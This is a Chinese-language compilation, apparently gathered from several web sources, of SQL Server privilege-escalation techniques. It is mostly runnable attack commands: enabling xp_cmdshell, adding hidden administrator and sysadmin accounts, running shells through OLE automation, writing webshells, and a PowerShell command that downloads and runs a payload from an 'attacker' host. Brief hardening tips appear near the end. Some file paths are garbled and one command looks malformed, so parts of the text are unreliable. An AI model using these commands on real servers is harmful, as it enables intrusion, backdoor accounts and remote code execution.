1. 检查当前用户权限:使用 SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); 如果返回1,则已经是sysadmin权限。
2. 枚举数据库信息:SELECT name FROM sys.databases; SELECT name FROM sys.server_principals;
3. 检查xp_cmdshell:EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
4. 利用xp_cmdshell提权:EXEC xp_cmdshell 'whoami /priv'; 如果有SeDebugPrivilege,可以进一步提权。
5. 创建代理账户:EXEC sp_addlogin 'testuser','password'; EXEC sp_addsrvrolemember 'testuser','sysadmin';
6. 利用开放行集:EXEC sp_addlinkedserver 'openrowset','SQL Server OpenRowset Provider','SQLOLEDB','sa','','','AllowInProcess';
7. 安全防范:禁用xp_cmdshell,限制sysadmin权限,使用最小权限原则。
来源1
首先,登录SQL Server,查询当前用户是否有sysadmin权限:select is_srvrolemember('sysadmin')。如果返回1,则已经是管理员权限。接下来,查询服务账户:exec xp_logininfo @loginname = SUSER_SNAME(); 查看服务是否以高权限运行。然后启用xp_cmdshell:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell 'net user testuser password /add';EXEC xp_cmdshell 'net localgroup administrators testuser /add';
来源2
SQL Server提权常用方法:1. 检查版本和补丁:SELECT @@VERSION; 2. 查找弱密码sa账户:用sqlmap或手动爆破。3. OLE自动化提权:sp_configure 'Ole Automation Procedures',1;RECONFIGURE;DECLARE @obj INT;EXEC sp_OACreate 'wscript.shell',@obj OUT;EXEC sp_OAMethod @obj,'run',NULL,'net user hacker 123456 /add'; 4. CLR程序集提权:创建恶意DLL注入。
来源3
步骤详解:1. 连接数据库,执行SELECT * FROM sys.dm_server_services; 查看服务账户。2. 如果服务账户是LocalSystem,利用xp_dirtree '//127.0.0.1/c$'写入webshell。3. 开放行集写文件:SELECT * FROM OPENROWSET('SQLOLEDB','server=127.0.0.1;uid=sa;pwd=sa','select * from openrowset(''Microsoft.ACE.OLEDB.12.0'',''Excel 12.0;HDR=YES;Database=C: est.xlsx'',''SELECT * FROM [Sheet1$]'')'); 但用于提权可写webshell。
来源4
提权脚本:DECLARE @shell INT EXECUTE sp_oacreate 'wscript.shell',@shell OUTPUT;EXECUTE sp_oamethod @shell,'run',null,'powershell.exe -c "whoami /all"',0,1; 防范:禁用所有扩展存储过程,定期审计日志,SQL Server 2012+使用Windows认证。
来源5
实际操作:用普通用户登录,执行xp_fileexist 'C:oot.ini'; 如果成功,说明有文件访问。接着xp_cmdshell 'powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"'; 获取shell后提权。
来源6
防范措施:1. 不授予public角色xp_cmdshell等权限。2. 服务以低权限账户运行,如NT Service\MSSQLSERVER。3. 使用防火墙限制SQL端口。4. 启用SQL Server Audit监控敏感操作。
FAQ
Q: 普通用户怎么快速检查是否有提权可能?
A: 执行 SELECT IS_SRVROLEMEMBER('sysadmin'); 和 EXEC xp_msver; 查看版本和权限。
Q: xp_cmdshell禁用后怎么提权?
A: 用OLE自动化或CLR assembly创建后门。
Q: 如何防范SQL Server提权?
A: 最小权限原则,禁用危险配置选项,定期打补丁。
Q: sa账户弱密码怎么处理?
A: 强制修改密码,使用复杂密码策略。